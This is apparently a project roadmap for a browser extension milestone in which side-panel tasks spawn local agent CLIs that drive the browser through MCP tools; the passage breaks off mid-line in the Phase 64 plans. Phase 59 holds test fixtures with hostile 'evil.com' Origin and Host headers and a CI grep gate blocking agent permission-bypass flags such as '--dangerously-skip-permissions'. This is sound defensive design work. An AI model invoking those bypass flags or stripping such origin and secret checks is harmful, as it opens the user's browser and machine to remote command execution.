MV3 extension + `fsb-mcp-server` so installed agent CLIs (Claude Code first, then OpenCode + Codex) become first-class side-panel providers: FSB captures which MCP clients the user copies/installs/connects, presents them as key-less providers in a renamed Providers panel, and delegates side-panel tasks to a spawned agent CLI that drives the browser back through FSB's own MCP tools — with a security-first reverse-request channel, an `AgentProviderAdapter` contract, task-mode only (chat-mode deferred), CI drift-smoke gate, native-messaging wake-host, and INV-01 (byte-stable existing MCP wire) preserved end-to-end. +- ✅ **v1.2.0 Showcase i18n Completeness** — Phases 52-56, shipped 2026-07-09. Archive: `.planning/milestones/v1.2.0-ROADMAP.md`. Closes the translation gap that reopened after v0.9.63 shipped: a full-page audit establishes the true drift/missing scope, resync + stats-page translation + transcreation review close it, a CI drift-detection gate lands on the clean baseline, and the long-deferred WARNING-02 locale-cookie redirect bug is fixed. +- ✅ **v1.1.0 T1 App Execution Expansion** — Phases 44-51, shipped 2026-06-30; refreshed 2026-07-01 after post-closeout T1 ports. Expanded proven T1/guarded coverage from 26 baseline descriptors to 1,267 executable T1-ready descriptors plus 556 guarded fail-closed rows, and closed the remaining catalog tail with explicit terminal-state accounting. Archive: `.planning/milestones/v1.1.0-ROADMAP.md`. +- ✅ **v1.0.0 Full App Catalog (OpenTabs Parity)** — Phases 35-43, shipped 2026-06-29. Full OpenTabs-derived catalog/search/discovery surface: 2,314 descriptors across 128 app stems / 129 services; 26 T1/T1b descriptors today; 2,288 descriptors intentionally remain DOM/discovery-tail. Archive: `.planning/milestones/v1.0.0-ROADMAP.md`. + +## Current Milestone: v0.9.91 MCP Clients as Providers + +**Milestone Goal:** Make installed agent CLIs (Claude Code first) first-class side-panel providers — FSB captures which MCP clients the user installs/connects, presents them as key-less providers in a renamed Providers panel, and delegates side-panel tasks to a spawned agent CLI that drives the browser back through FSB's own MCP tools. The user's own words: "when I'm sending a message from the side panel, the FSB extension sends a request to the MCP server, which spawns a Claude/Codex/OpenCode agent with the prompt, and that agent uses FSB MCP tools to perform the task — technically driving the local coding agent from the side panel." + +**Key context (non-negotiable):** + +- **Security-first hard rule.** The reverse-request channel is RCE-adjacent by construction: a browser click becomes `execve(claude, -p, )` inside a localhost daemon. The security foundation phase (Phase 59) — reverse-request channel + Origin/Host/secret/consent + CHAN-07 grep gate — MUST land before ANY spawn code exists. It cannot be deferred to a "hardening" phase. All CHAN-01..CHAN-07 requirements land in Phase 59 together. +- **INV-01 discipline.** Every wire addition is additive: new frame types (`ext:request`/`ext:response`/`ext:event`) + optional payload fields only. Existing `MCPMessageType` values and tool schemas stay byte-stable across the entire milestone; a byte-freeze regression test proves this in every phase that touches the wire. +- **Task-mode only.** Chat-mode continuity via `--resume` / `codex resume` / `opencode --continue` is v2 scope (CHAT-FUTURE-01/02); every adapter's `caps()` reports `chatMode: false` for v0.9.91. +- **Adapter breadth: OpenCode + Codex; skip Gemini.** GEMINI-FUTURE-01 defers Gemini until a live `--help` capture and JSONL schema pinning are done. NATIVE and DRIFT are IN scope. +- **No `--dangerously-skip-permissions` / `--yolo` / `--auto`.** Anywhere. Ever. Not even in an "advanced mode." A permanent CI grep gate (CHAN-07) fails the build if those strings appear under `mcp/src/agent-providers/**`. +- **No `@anthropic-ai/claude-agent-sdk` embedded in FSB.** Anthropic banned third-party products from using consumer subscription auth via the SDK (enforcement Apr 4 2026). Shelling to the user's installed `claude` binary is the only compliant "no API key" path and is standard ecosystem practice (Cline, Roo, Zed, Conductor). +- **Extension has no `nativeMessaging` permission in Phases 57-62.** Delegation therefore requires a running `fsb-mcp-server serve` daemon; MVP ships an honest "agent offline → doctor" state. Phase 63 (NATIVE) adds the optional wake-host that closes this UX cliff. +- **Source-pin tripwire discipline.** FSB's test suite pins exact token counts and substrings on extension source (even comments). Every extension-touching commit updates paired tripwires; the full suite runs from commit 1 of every phase. + +**Phase ordering rationale (from research; dependency chain non-negotiable):** identity data (Phase 57) → provider selection UI reads it (Phase 58) → security foundation must exist before any spawn code (Phase 59) → adapter contract needs the channel (Phase 60) → UX/lifecycle needs the adapter (Phase 61) → drift gate and doctor need something to check (Phase 62) → native-host is additive and can only close the offline cliff after the offline state itself exists (Phase 63) → contract must be stable before adapter breadth (Phases 64-65). + +## Phases + +**Phase Numbering:** +- Integer phases (57, 58, 59, 60, 61, 62, 63, 64, 65): Planned milestone work, continuing from v1.2.0's Phase 56 +- Decimal phases (57.1, 57.2): Urgent insertions (marked with INSERTED) + +- [x] **Phase 57: Agent Identity Capture** - Persist copy-clicks, capture MCP `initialize` `clientInfo`, thread it through `agent:register`, add disk-scan detection, expose a unified `getMcpClients` view — additive on both sides of the wire (INV-01 safe), unblocks everything downstream (completed 2026-07-12) +- [x] **Phase 58: Providers Panel** - Rename "API Configuration" → "Providers", introduce `api` vs `agent` provider kinds, hide the key input for agent kind, badge exactly one "Recommended" provider via the connected > installed > copy-clicked cascade, keep `universal-provider.js` unaware of agent values (INV-03 BYOK parity) (completed 2026-07-12; live UAT deferred to milestone-end gate) +- [x] **Phase 59: Reverse-Request Channel & Security Foundation** - **SECURITY-CRITICAL, load-bearing**. Additive `ext:*` frames on ws://localhost:7225, strict Origin allowlist + Host loopback + per-install rotating shared secret in `Sec-WebSocket-Protocol`, log redaction, hub-exit-mid-delegation topology tests, permanent CI grep gate against `--dangerously-skip-permissions` / `--yolo` / `--auto` — completed 2026-07-14; automated/source verification passed and four live checks are deferred to the milestone-end UAT gate +- [x] **Phase 60: Adapter Contract & Claude Code MVP** - `AgentProviderAdapter` interface, `SpawnSupervisor` in the `serve` daemon with argv-only spawn / scrubbed env / SIGTERM-at-process-group / Windows `taskkill /T /F` / orphan scan on startup, Claude Code adapter with verified 2.1.177 flag set + shipped `fsb` agent definition + recorded stream-json JSONL fixture — completed 2026-07-14; automated/source verification passed and seven live checks are deferred to the milestone-end UAT gate +- [x] **Phase 61: Delegation UX & SW-Eviction Persistence** - Fifth `EXECUTION_MODES` entry `delegated`, explicit first-use consent card, live per-tool-call streaming feed, default-background-tab + "Take control" affordance, kill switch that reclaims owned tabs, post-run usage summary, `chrome.storage.session` per-event persistence, 20 s WS heartbeat, "agent offline → `doctor`" deep-link, restart-is-clean semantics (completed 2026-07-15; automated/source verification passed and eight live checks are deferred to the milestone-end UAT gate) +- [x] **Phase 62: CI Drift-Smoke Gate & Doctor Extensions** - Per-adapter CI drift-smoke against canned fixtures (fail-loud on unknown event types / missing fields / version outside compat matrix), `fsb-mcp-server doctor` per-adapter section (binary path, version, auth, secret rotation age), machine-readable adapter compatibility matrix consumed by the extension (completed 2026-07-16; automated/source/full-suite verification passed and three live checks are deferred to the milestone-end UAT gate) +- [ ] **Phase 63: Native-Messaging Host** - `install --native-host` writes the platform-appropriate manifest (mac/Linux/Windows), extension gains additive `nativeMessaging` permission, "Agent offline" state auto-attempts wake before the doctor deep-link; the native host only launches (or attaches to) `serve` — it NEVER spawns agent CLIs directly (all spawn authority stays inside the daemon behind Phase 59 CHAN gates) +- [ ] **Phase 64: OpenCode Adapter** - Second adapter proves the contract accommodates server-mode + attach on top of cold spawn without any Phase 60 rewrite; pinned OpenCode agent definition + recorded JSONL fixture + drift-smoke coverage +- [ ] **Phase 65: Codex Adapter** - Third adapter with `codex exec --json` on the verified 0.142.5 hermetic flag set (`--ephemeral` + `--ignore-user-config`, never the deprecated `--full-auto`), `detect()` surfacing ChatGPT OAuth / API key / unauthenticated so the Providers panel discloses which billing bucket a run will hit; `caps.chatMode: false` across all adapters (automated/source verification passed 2026-07-22; exactly three live UAT scenarios remain pending) + +## Phase Details + +### Phase 57: Agent Identity Capture +**Goal**: FSB knows which MCP-capable agent CLIs the user has installed on disk, has expressed intent to install (via onboarding copy clicks), and has actually connected via MCP `initialize` — surfaced as a single ground-truth view that unblocks every downstream provider-selection decision. +**Depends on**: Nothing (first phase of this milestone; pure additive data layer on both sides of the wire) +**Requirements**: IDENT-01, IDENT-02, IDENT-03, IDENT-04, IDENT-05 +**Success Criteria** (what must be TRUE): + 1. When the user clicks any copy-to-clipboard button on the onboarding MCP-install screen (for `claude-code`, `cursor`, `vscode`, `windsurf`, `codex`, `opencode`, `openclaw`, `claude-desktop`, or `all`), FSB records that client id (with timestamp, deduplicated, all-clients aggregated for multi-select cases) into a durable `fsbAgentProviders.clicked` list in `chrome.storage.local` that survives service-worker eviction and Chrome restart. + 2. When any MCP client completes its `initialize` handshake with `fsb-mcp-server` (over stdio, streamable-HTTP, or the ws://7225 bridge), FSB captures the caller's `clientInfo.name` and `clientInfo.version`, threads them through an additive field on the existing `agent:register` bridge payload, stamps them onto the live `AgentRecord` in the registry, and rolls the identity up into a durable `fsbAgentProviders.connected` entry keyed so re-connections update rather than duplicate. + 3. `fsb-mcp-server` can enumerate installed MCP-capable clients on the current machine by inspecting the paths already known to `platforms.ts` (per-OS `configPath` for file-mode clients; `claude --version` binary probe for cli-mode `claude-code`) and report each as `installed` / `not-installed` with any parseable version. + 4. A single `getMcpClients` extension runtime message returns a merged `clicked ∪ installed ∪ connected` view with per-client status, so UI surfaces read one consistent structure instead of assembling it themselves — and the merged view survives MV3 service-worker eviction. + 5. INV-01 holds: no existing `MCPMessageType` value, no existing tool schema, and no existing consumer of the `agent:register` payload breaks — the additive `clientInfo` field is optional and existing `payload: {}` handlers keep working byte-for-byte. +**Plans**: 3/3 complete +- [x] 57-01: Capture lazy MCP client identity and daemon-side installed-client inventory. +- [x] 57-02: Persist durable clicked, connected, and installed evidence in the extension. +- [x] 57-03: Expose the canonical merged MCP-client evidence view with compatibility locks. + +### Phase 58: Providers Panel +**Goal**: The control panel's "API Configuration" section becomes the "Providers" panel — distinguishing BYOK API providers from installed agent CLIs, badging exactly one provider "Recommended" from ground truth (never auto-switching selection), and shipping honest no-fabrication cost/usage copy for agent-kind providers. +**Depends on**: Phase 57 (needs real `fsbAgentProviders` data to render agent rows and to drive the "Recommended" cascade) +**Requirements**: PROV-01, PROV-02, PROV-03, PROV-04, PROV-05, PROV-06 +**Success Criteria** (what must be TRUE): + 1. The control panel section formerly labeled "API Configuration" is labeled "Providers" (heading, nav label, and the legacy `#api-config` anchor continues to work as a redirect to the new `#providers` anchor for existing bookmarks); the source-pin tripwire suite stays green from commit 1 of this phase. + 2. Every provider row has an explicit `providerKind` of either `api` (the existing 7 BYOK LLM providers) or `agent` (a locally installed agent CLI); the kind determines which fields render — an `agent`-kind selection hides the API-key input, key-URL hint, and per-model key-format hint, and shows install status, auth status (where the CLI exposes it), connection status, and a "uses your subscription — no API key needed" caption instead. + 3. Exactly one provider is badged "Recommended" per session, chosen by the strict ground-truth cascade (highest = a CLI currently connected via MCP `initialize`, next = a CLI installed on disk, next = a CLI whose copy button was clicked during onboarding, fallback = the existing xAI-default recommendation); the badge is advisory only — the user's selection is never auto-switched. + 4. `universal-provider.js` (the existing BYOK request builder) never observes an agent value: switching between an active agent provider and a BYOK api provider preserves the other's configuration, and INV-03 provider parity for the 7 BYOK providers holds unchanged. + 5. Cost/usage rows for `agent`-kind providers display token count, turn count, and duration alongside the label "included in your subscription", with a link to the vendor's current billing page — never a fabricated dollar amount and never the words "free" or "unlimited". +**Plans**: 3/3 complete +**UI hint**: yes + +### Phase 59: Reverse-Request Channel & Security Foundation +**Goal**: Extension → daemon reverse requests transit the existing `ws://localhost:7225` bridge with every documented 2025-2026 CVE-class defense enforced from commit one — Origin allowlist, Host loopback, per-install rotating shared secret, log redaction, additive-only wire evolution, and a permanent grep gate against the three "one-click RCE" flags. This phase is SECURITY-CRITICAL and load-bearing: it ships BEFORE any spawn code exists in Phase 60. +**Depends on**: Nothing (channel design is orthogonal to Phase 57/58 data + UI; can develop in parallel but MUST be code-green before Phase 60 starts) +**Requirements**: CHAN-01, CHAN-02, CHAN-03, CHAN-04, CHAN-05, CHAN-06, CHAN-07 +**Success Criteria** (what must be TRUE): + 1. A new `ext:request` / `ext:response` / `ext:event` bridge message-type family transports extension → daemon reverse requests over the existing ws://localhost:7225 bridge, and a byte-freeze regression test proves every existing `MCPMessageType` value, tool schema, and bridge payload stays byte-identical (INV-01 additive proof). + 2. A relay process advertising `capabilities: ['agent-spawn']` on `relay:hello` becomes the routing target for `ext:*` frames: the hub routes each `ext:request` locally when it is itself the daemon, forwards to the first `agent-spawn`-advertising relay when it is not, and replies `agent_provider_offline` when no supervisor is present — verified by extending `tests/mcp-bridge-topology.test.js` with new hub-exit-mid-delegation and relay-mid-`ext:*`-frame cases without breaking any existing hub-exit-promotion test. + 3. A fixture crafted with `Origin: https://evil.com` on the WebSocket upgrade is rejected before any handler runs; a second fixture with `Host: evil.com:7225` (even when the target actually resolves to 127.0.0.1) is rejected as DNS-rebind defense — the bridge accepts `ext:*` frames only when the WS upgrade carried an `Origin` matching a durable per-install `chrome-extension://` allowlist and a `Host` exactly `127.0.0.1` or `localhost` at the loopback port, and the daemon never binds `0.0.0.0`. + 4. A per-install ≥32-byte shared secret is provisioned once between the extension and the daemon, transported only in the `Sec-WebSocket-Protocol` upgrade header (never in URL, never in payloads, never in logs), rotated on daemon restart, and required on every `ext:*` frame — and `redactForLog` plus every tracked diagnostic ring-buffer sink strips any string matching the shared-secret token pattern, with a build-time drift gate that fails if a raw secret substring appears in any tracked log fixture. + 5. A permanent CI grep gate fails the build if the strings `--dangerously-skip-permissions`, `--yolo`, or `--auto` appear anywhere in `mcp/src/agent-providers/**`, so those "one-click RCE" flags can never enter the spawn path in any future patch. +**Plans**: 4/4 complete + +### Phase 60: Adapter Contract & Claude Code MVP +**Goal**: A shell-free, tree-killable `SpawnSupervisor` in the `serve` daemon spawns the user's installed `claude` CLI via a formal five-method `AgentProviderAdapter` contract — with a shipped `fsb` agent definition (never prompt-stuffing), `--strict-mcp-config` hermeticity, and a recorded stream-json JSONL fixture — so a user with Claude Code installed can send a side-panel message and observe the agent drive their live browser back through FSB's MCP tools with visible per-tool-call feedback. This phase is the integration payoff; the contract is designed for adapter breadth so OpenCode/Codex slot in without rework. +**Depends on**: Phase 58 (provider selection reads the Providers panel), Phase 59 (channel + all CHAN security foundations must be code-green before any spawn code exists) +**Requirements**: ADAPT-01, ADAPT-02, ADAPT-03, ADAPT-04, ADAPT-05, CLAUDE-01, CLAUDE-02, CLAUDE-03, CLAUDE-04 +**Success Criteria** (what must be TRUE): + 1. The `AgentProviderAdapter` TypeScript interface (`mcp/src/agent-providers/adapter.ts`) exposes exactly five methods (`detect()` → `{installed, version, authState, binary}`, `buildSpawn(task, ctx)` → `SpawnSpec`, `parseEvents(stream)` → `AsyncIterable`, `kill(child, {grace})` → `Promise`, `caps()` → `AdapterCapabilities`), and the Claude Code adapter (`mcp/src/agent-providers/claude-code.ts`) implements all five and is registered against the `INSTALL_CLIENTS` / `PLATFORMS` client id `claude-code`. + 2. A user with Claude Code installed can select "Claude Code" as their provider in the side panel, type a task, and observe the spawned CLI drive their live browser back through FSB's MCP tools — with visible per-tool-call feedback — while every existing FSB MCP tool call remains byte-identical on the wire (INV-01 preserved end-to-end through the delegation round-trip; the byte-freeze regression test still passes). + 3. The `SpawnSupervisor` accepts a validated spawn request over Phase 59's `ext:request` channel, looks up the requested adapter, constructs argv from adapter output plus a daemon-controlled flag allowlist (unknown payload keys rejected with a typed error), and spawns the child with `{ detached: true, windowsHide: true, stdio: ['pipe','pipe','pipe'] }` and an environment with `ANTHROPIC_API_KEY`, `OPENAI_API_KEY`, and `GEMINI_API_KEY` scrubbed; the supervisor never invokes a shell, and the user's prompt reaches the CLI only via `child.stdin` (never argv, never `sh -c`) so shell metacharacters and Windows `.cmd`-shim EINVAL (Node CVE-2024-27980) cannot execute. + 4. A `stop` / cancel request triggers SIGTERM at the process-group level on POSIX (`process.kill(-child.pid, 'SIGTERM')` after `spawn({detached:true})`), `taskkill /pid /T /F` on Windows, escalates to SIGKILL after a grace window, and does not resolve the delegation until either an exit-signal is observed or the daemon confirms no descendant matches remain — grandchildren, MCP sub-servers, and shell tools spawned by the CLI are all terminated. + 5. On daemon startup, the supervisor scans for orphaned children matching prior adapter fingerprints (env-var tag + argv pattern) and kills them before accepting new spawn requests, and reports the scan result in structured diagnostics — so a daemon crash mid-run cannot leave a ghost CLI controlling the browser. + 6. The Claude Code adapter spawns `claude -p --verbose --output-format stream-json --include-partial-messages --strict-mcp-config --mcp-config --agents --agent fsb --permission-mode dontAsk --allowedTools "mcp__fsb" --disallowedTools "Bash,Edit,Write,NotebookEdit,WebFetch,WebSearch" --max-turns 40 --no-session-persistence` (or the version-appropriate equivalent selected by `detect()`); `parseEvents` translates the CLI's stream-json events into a normalized `AgentEvent` schema, fails loud on unknown event types (surfaced as `agent_protocol_drift` diagnostic), and is covered by a recorded JSONL fixture under `tests/fixtures/agent-streams/claude-code-2.1.177/` so CI runs without a live CLI; `detect()` fingerprints via `claude --version`, compares against a minimum supported version, and reports `installed=false` with a doctor-diagnostic message rather than spawning if the version predates the verified stream-json contract. +**Plans**: 4/4 complete +- [x] 60-01: Freeze the exact adapter contract, Claude detection/profile, and shipped FSB agent policy. +- [x] 60-02: Normalize bounded Claude JSONL through the concrete adapter with truthful offline fixture provenance. +- [x] 60-03: Build private runtime state plus verified POSIX/Windows termination and orphan recovery. +- [x] 60-04: Wire the serve-only supervisor, exact-once reverse delegation, full regression gates, and deferred UAT ledger. + +### Phase 61: Delegation UX & SW-Eviction Persistence +**Goal**: The side panel becomes a first-class delegation surface — visible first-use consent gate, live per-tool-call streaming feed, default-background-tab with a "Take control" affordance, kill switch that reclaims owned tabs, honest post-run usage summary, and MV3 SW-eviction-safe persistence so a 45-minute run resumes exactly the feed the user last saw. The extension has no `nativeMessaging` permission at this point — this phase ships the honest "Agent offline → `doctor`" state that Phase 63 later augments with an optional wake path. +**Depends on**: Phase 60 (adapter contract + Claude Code MVP producing the `AgentEvent` stream + tab ownership on spawn); Phase 59 heartbeat plumbing +**Requirements**: UX-01, UX-02, UX-03, UX-04, UX-05, UX-06, LIFE-01, LIFE-02, LIFE-03, LIFE-04 +**Success Criteria** (what must be TRUE): + 1. A fifth `EXECUTION_MODES` entry `delegated` in `extension/ai/engine-config.js` (with `uiFeedbackChannel: 'popup-sidepanel'`, `animatedHighlights: true`, wall-clock + event-silence watchdogs, and no iteration cap — the reasoning loop runs in the spawned CLI, not `runAgentLoop`) is selected automatically whenever the active provider is agent-kind, and the extension's own `runAgentLoop` is never entered for delegated tasks. + 2. Before FSB spawns any agent CLI for the first time, the user sees an explicit consent card that names the CLI, states what it will be permitted to do (drive FSB MCP tools on the user's live browser), and states what it will not (edit files, run shell, fetch arbitrary URLs); a per-run confirm-to-continue toggle is on by default and can be disabled per-provider only via an explicit "trust this agent" setting — the copy never uses "faster mode" language. + 3. The side panel renders a live per-run streaming feed with distinct card types for `init` (client, model, session id, allowed tools), `tool-call` (name, args summary, tab id), `retry` (typed error class), and `result` (usage summary) driven by the normalized `AgentEvent` stream; a delegated run opens by default in a new background tab, and when the user activates the tab the agent is driving, a persistent "Take control" affordance appears that pauses the agent (v0.9.60 ownership release + supervisor grace hold), lets the user interact, and offers "Resume with agent" to give ownership back. + 4. A prominent Stop button in the side panel triggers `stopDelegatedTask`, routes to the supervisor's kill, and — on confirmed exit — releases every tab that was owned by the spawned agent (per v0.9.60 ownership) and reports "Agent stopped, N tab(s) released" in the feed; a post-run summary card displays tokens (in/out/total), turn count, wall-clock duration, cost bucket (`included in your subscription` for agent kind, real USD for api kind), and an expandable per-tool-call breakdown. + 5. Every progress event received from the supervisor is written to `chrome.storage.session` under a per-delegation key BEFORE it fans out to UI subscribers, so a mid-run MV3 service worker eviction reloads exactly the delivered feed on re-open — no ghost state, no fabricated events, no dropped events; the fifth `EXECUTION_MODES` entry works end-to-end across a forced SW eviction in a test fixture. + 6. While a delegation is active, the extension pings the bridge every 20 s over the existing WS heartbeat channel to keep the Chrome 116+ SW-lifetime extension applied; if 3 heartbeats are missed the side panel switches to a `daemon:disconnected` fallback that offers a doctor-relaunch button but does not attempt an in-extension restart; if `fsb-mcp-server serve` is not running when a delegated send is attempted, the side panel shows an "Agent offline" state with a deep-link to `fsb-mcp-server doctor` output and does not enqueue or optimistically show the message; if the daemon restarts while a delegation was mid-flight, the supervisor kills any surviving spawned CLI (never re-adopts) and reports `daemon_restart_lost_run` in the side panel so the user knows the run ended. +**Plans**: 8/8 complete; automated/source verification passed; eight live UAT checks deferred to the milestone-end gate +- [x] 61-01: Freeze exact agent routing, delegated mode, read-only preflight, one-use consent, and provider-local trust. +- [x] 61-02: Build the bounded write-before-fanout event ledger and sole delegated lifecycle controller. +- [x] 61-03: Serialize async bridge observers, add acknowledged active-delegation heartbeat, and pin Chrome 116/no-native authority. +- [x] 61-04: Correlate server delegation ids with extension agents and add sealed complete mapped-tab hold leases. +- [x] 61-05: Add supervisor hold/resume/status plus generation-backed restart-loss evidence. +- [x] 61-06: Integrate start, handoff, Stop, hydration, heartbeat, and recovery in the service worker. +- [x] 61-07: Implement the safe, exact-copy, accessible delegated side-panel feed and lifecycle UI. +- [x] 61-08: Install complete regression/evidence gates and defer genuine live UAT to the milestone-end ledger. +**UI hint**: yes + +### Phase 62: CI Drift-Smoke Gate & Doctor Extensions +**Goal**: An `fsb-mcp-server doctor` operator and CI both catch adapter drift the moment an agent CLI ships a new flag or event-shape — with a machine-readable adapter compatibility matrix the extension consumes to render "supported / degraded / unsupported" states without hardcoding versions anywhere in extension source. +**Depends on**: Phase 60 (needs at least one adapter to run drift-smoke against; Phase 61 UX consumes the compatibility matrix for rendering degraded states) +**Requirements**: DRIFT-01, DRIFT-02, DRIFT-03, DRIFT-04 +**Success Criteria** (what must be TRUE): + 1. A CI job runs each shipped adapter against a canned prompt fixture, asserts the known event-type sequence and the presence of required fields on `system/init` and `result`, and fails the build on unknown event types, missing required fields, or a `--version` outside the compatibility matrix — with no live CLI required (the recorded JSONL fixtures from Phases 60/64/65 suffice), so contributors without every CLI installed can still land safe changes. + 2. `fsb-mcp-server doctor` gains a per-adapter section reporting: binary path, version, auth state (parseable where the CLI exposes it), shared-secret presence, and the current spawn-secret rotation age — so an operator with only `doctor` output can identify which adapter failed and why. + 3. The diagnostics ring buffer classifies drift events as `agent_protocol_drift` with adapter id, expected vs observed fields, and rate-limits duplicate entries at the existing 1-per-10s bucket so a chatty drift does not blow the buffer. + 4. `doctor` emits a machine-readable adapter compatibility matrix that both the CI drift-smoke job and the extension can read; the extension consumes the matrix at boot (and on doctor refresh) to render `supported` / `degraded` / `unsupported` badges in the Providers panel — and never hardcodes CLI versions in extension source. +**Plans**: 6 plans +- [x] 62-01: Establish the canonical adapter compatibility matrix/classifier and generalized offline drift-smoke CI gate. +- [x] 62-02: Extend `doctor` with offline adapter diagnostics, safe spawn-secret metadata, and text/JSON parity. +- [x] 62-03: Carry the authenticated safe compatibility projection into background-owned durable, freshness-aware provider state. +- [x] 62-04: Project sanitized protocol-drift detail and report it exactly once through a true per-adapter pre-throttle. +- [x] 62-05: Render exact, accessible, non-mutating compatibility badges and selected-provider details. +- [x] 62-06: Wire root/source/security gates and preserve all genuine live evidence in the pending milestone-end UAT ledger. + +### Phase 63: Native-Messaging Host +**Goal**: When the user has installed the optional native-messaging host, the "Agent offline" state auto-attempts to wake `fsb-mcp-server serve` before falling back to the Phase 61 doctor deep-link — closing the UX cliff introduced by the extension having no `nativeMessaging` permission through Phases 57-62. All spawn authority stays inside the serve daemon behind Phase 59's CHAN gates; the native host itself never spawns agent CLIs. +**Depends on**: Phase 61 ("Agent offline → doctor" state must already exist for the wake to have a fallback), Phase 62 (doctor extensions already report daemon state) +**Requirements**: NATIVE-01, NATIVE-02, NATIVE-03, NATIVE-04 +**Success Criteria** (what must be TRUE): + 1. `fsb-mcp-server install --native-host` writes the platform-appropriate native-messaging host manifest — macOS `~/Library/Application Support/Google/Chrome/NativeMessagingHosts/`, Linux `~/.config/google-chrome/NativeMessagingHosts/`, Windows registry `HKCU\Software\Google\Chrome\NativeMessagingHosts\` — allowing the FSB extension id as the sole caller, and installs a host binary that can wake the daemon on demand. + 2. The extension's manifest gains a single additive `nativeMessaging` permission entry (no other permission changes); at boot the extension detects native-host presence, and when the host is installed, an "Agent offline" state auto-attempts a wake before showing the doctor deep-link — a user with the host installed sees the delegation come alive on demand instead of the manual `serve` prompt. + 3. The native host itself does NOT spawn agents; it only starts `fsb-mcp-server serve` (or attaches to a running one) and exits after handoff — all spawn authority remains inside the serve daemon behind the Phase 59 CHAN gates (Origin allowlist, shared secret, flag allowlist, argv-only) and no CHAN requirement is relaxed to accommodate the wake path. + 4. `fsb-mcp-server uninstall --native-host` cleanly removes the manifest, and `doctor` reports native-host install state including manifest path, allowlist mismatches, and host-binary reachability so an operator can debug wake failures without shell-level inspection. +**Plans**: 12 plans + +**Wave 1** +- [x] 63-01: Establish the workspace-safe build guard, release-built Windows bootstrap, and durable bundled runtime contract. + +**Wave 2** *(blocked on Wave 1 completion)* +- [x] 63-02: Fix pre-bind secret rotation and make product-specific serve readiness authoritative. + +**Wave 3** *(blocked on Wave 2 completion)* +- [x] 63-03: Implement the closed native-messaging framing, validation, one-shot entry, and authority boundary. + +**Wave 4** *(blocked on Wave 3 completion)* +- [x] 63-04: Implement exact readiness probing, tokened wake coalescing, and one shell-free serve handoff. + +**Wave 5** *(blocked on Wave 4 completion)* +- [x] 63-05: Implement exact-owned atomic registration, runtime materialization, install, and uninstall across three OS families. + +**Wave 6** *(blocked on Wave 5 completion)* +- [x] 63-06: Add explicit native-host CLI install/uninstall routes without widening existing installer behavior. + +**Wave 7** *(blocked on Wave 6 completion)* +- [x] 63-07: Add bounded read-only native-host diagnostics with safe local and browser projections. + +**Wave 8** *(blocked on Wave 7 completion)* +- [x] 63-08: Add the single manifest permission and background-owned probe/offline-wake controller. + +**Wave 9** *(blocked on Wave 8 completion)* +- [x] 63-09: Render the approved intent-fenced checking state in the existing delegation card. + +**Wave 10** *(blocked on Wave 9 completion)* +- [x] 63-10: Wire deterministic focused/root/CI contracts and create the still-pending milestone-end UAT ledger. + +**Wave 11** *(blocked on Wave 10 completion)* +- [x] 63-11: Run independent blocking code, security, and UI source-review gates. + +**Wave 12** *(blocked on Wave 11 completion)* +- [x] 63-12: Run the reviewed focused matrix and workspace-preserving repository-wide regression gate. + +### Phase 64: OpenCode Adapter +**Goal**: The `AgentProviderAdapter` contract proves it accommodates a second CLI family — one that supports both cold spawn AND attach-to-running-server (`opencode serve` + `opencode run --attach`) — without any Phase 60 rewrite; OpenCode joins the Providers panel with a pinned agent definition and CI-covered event schema so the drift gate covers it from day one. +**Depends on**: Phase 60 (contract), Phase 62 (drift-smoke gate must accept the new adapter fixture) +**Requirements**: MULTI-01, MULTI-02, MULTI-03 +**Success Criteria** (what must be TRUE): + 1. An OpenCode adapter (`mcp/src/agent-providers/opencode.ts`) implements the `AgentProviderAdapter` contract with `caps.serverMode = true`; the supervisor either spawns `opencode run` cold OR attaches to a running `opencode serve` per the adapter's `buildSpawn` output — and the Phase 60 contract handles both without any hardcoded spawn-vs-attach branch outside the adapter. + 2. The OpenCode adapter ships a pinned agent definition (equivalent to Claude Code's `--agents fsb`) using OpenCode's `agent create` / `agents` config surface, keyed to a version pinned during phase spike, so tool boundaries and system-prompt intent are identical across the two adapters. + 3. A recorded OpenCode JSONL fixture under `tests/fixtures/agent-streams/opencode-/` proves the adapter's event schema in CI without a live CLI; the Phase 62 drift-smoke job includes OpenCode from the first commit of this phase, and unknown event types raise `agent_protocol_drift` with the adapter id `opencode`. Planning-document commits do not count as implementation commits: Plan 64-01 has exactly one implementation task/commit containing the complete parser, fixture, native negative corpus, and generalized drift gate; every later plan depends on it transitively, and Plan 64-05 exposes adapter/registry/matrix/bijection atomically. + 4. A user with OpenCode installed can pick "OpenCode" as their provider in the side panel and observe the delegation UX (streaming feed, kill switch that reclaims tabs, post-run summary, SW-eviction survival) work identically to Claude Code — with no adapter-specific side-panel branches. +**Plans**: 13 plans + +**Wave 1** +- [x] 64-01-PLAN.md — Land the complete strict parser, honest 1.14.25 fixture, native negative corpus, and generalized adapter-native Phase 62 CI drift gate as the sole first implementation commit. + +**Wave 2** *(blocked on Wave 1 completion)* +- [x] 64-02-PLAN.md — Freeze the exact five-method provider-neutral topology/attestation seam and the public fixed-env versus transient secret-binding contract. + +**Wave 3** *(blocked on Wave 2 completion)* +- [x] 64-03-PLAN.md — Version the exact delegation/provider-server runtime journal and private-artifact boundary with legacy recovery and structural secret non-retention preserved. + +**Wave 4** *(blocked on Wave 3 completion)* +- [x] 64-04-PLAN.md — Build exact OpenCode 1.14.25 retained detection, private policy, effective-attestation declarations, and exact server/attach secret-binding descriptors. + +**Wave 5** *(blocked on Wave 4 completion)* +- [x] 64-05-PLAN.md — Atomically compose and expose the production adapter, registry row, compatibility row, and exact parser/fixture/native-drift bijection. + +**Wave 6** *(parallel; blocked on Wave 5, with the server lifecycle also directly bound to Wave 3 runtime state)* +- [x] 64-06-PLAN.md — Project the exact roster into bounded inventory/doctor evidence and the browser-safe Claude/OpenCode compatibility plane. +- [x] 64-07-PLAN.md — Implement the generic cold-first, FSB-owned-server lease, health, fallback, idle, and recovery lifecycle. + +**Wave 7** *(parallel; each blocked on its Wave 6 dependency)* +- [x] 64-08-PLAN.md — Interpret closed attestation descriptors through the shared verifier, enforce no replay, and gate results on clean exit/tree settlement. +- [x] 64-09-PLAN.md — Generalize canonical extension preflight, consent, trust, and background-authoritative provider routing. + +**Wave 8** *(parallel; each blocked on its Wave 7 dependency)* +- [x] 64-10-PLAN.md — Generalize durable event/controller hydration and safe per-adapter drift diagnostics. +- [x] 64-11-PLAN.md — Promote the existing OpenCode Providers row from safe evidence with honest auth/billing and no visible layout change. + +**Wave 9** *(blocked on Waves 7-8 completion)* +- [x] 64-12-PLAN.md — Project OpenCode through the existing delegated 